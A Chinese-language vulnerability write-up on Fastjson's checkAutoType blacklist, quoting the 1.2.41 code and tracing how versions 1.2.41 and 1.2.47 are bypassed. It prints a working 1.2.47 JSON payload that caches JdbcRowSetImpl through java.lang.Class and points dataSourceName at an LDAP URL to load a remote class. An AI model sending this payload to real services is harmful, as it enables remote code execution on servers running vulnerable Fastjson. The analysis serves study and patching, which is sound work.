阿里的主要防護手段就是使用checkAutoType進行@type字段的檢查
看一下 1.2.41版本checkAutoType的代碼
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (typeName.length() >= 128) {//檢查長度
throw new JSONException("autoType is not support. " + typeName);
}
final String className = typeName.replace('$', '.');//替換type中的$符
Class<?> clazz = null;
if (autoTypeSupport || expectClass != null) {//開啟autoTypeSupport時,白名單過濾,如果符合條件直接loadclass
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}
for (int i = 0; i < denyList.length; ++i) {//開啟autoTypeSupport時,黑名單過濾
String deny = denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {//嘗試獲取clazz
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {//嘗試獲取clazz
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {//如果前兩種方式成功獲取,且expectclass非空,則比較其是否在expectclass中,如果不在則異常
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
if (!autoTypeSupport) {//未開啟autoTypeSupport
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
//到這里如果還沒獲取class
if (clazz == null) {//嘗試用默認類加載器去加載class
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (clazz != null) {//返回該元素的指定類型的注釋
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}
//class1.isAssignableFrom(class2) 判定此 Class 對象所表示的類或接口與指定的 Class 參數所表示的類或接口是否相同,或是否是其超類或超接口。如果是則返回 true;否則返回 false。如果該 Class 表示一個基本類型,且指定的 Class 參數正是該 Class 對象,則該方法返回 true;否則返回 false。
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger ,此處classloader為defaultclassloader=null
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);//生成JavaBean相關信息
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
從代碼中可以看出幾個檢測點和生成class對象的位置
首先是autoTypeSupport,白名單黑名單的檢查,隨后就是 TypeUtils.getClassFromMapping()和deserializers.findClass()方法去獲取class對象,如果還沒獲取class,就調用默認類加載器進行loadclass。
在1.2.41的bypass中,主要是利用Lcom.xxx在loadclass時能夠轉換成com.xxx來實現黑名單的繞過與class的生成。
在1.2.47中,為了bypass,使用poc如下
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}}}
調試可以發現java.lang.Class不在黑名單中,其class是由deserializers.findClass()方法生成的。注意到第一個序列化字符串還帶有變量com.sun.rowset.JdbcRowSetImpl。
這里再來看另一個方法TypeUtils.getClassFromMapping(),這個方法用於從緩存的MAPPING中獲取class對象。
在第一個序列化字符串完成解析時,com.sun.rowset.JdbcRowSetImpl已經作為變量存入緩存。再來看一下黑名單檢測代碼
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
這時在第二個序列化字符串解析時,TypeUtils.getClassFromMapping(typeName) == null條件已經不成立,因此可以繞過黑名單。然后便由TypeUtils.getClassFromMapping(typeName);方法生成class對象。
為什么會發生這樣的情況呢?在調試時發現,在完成第一個序列化字符串的反序列化時,過程中會返回com.sun.rowset.JdbcRowSetImpl字符串。而在deserialze方法中有如下代碼,當被反序列化的對象為class類時,就會加載val變量中的類
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
而在加載類的過程中,會驗證是否緩存,如果要緩存,則會調用mappings.put方法將className添加到Mappings中。
因此在對后續的com.sun.rowset.JdbcRowSetImpl進行反序列化時,才會在mappings.get()時返回true。至此繞過完成。
這次之后,修復的方法將cache的默認值改為了false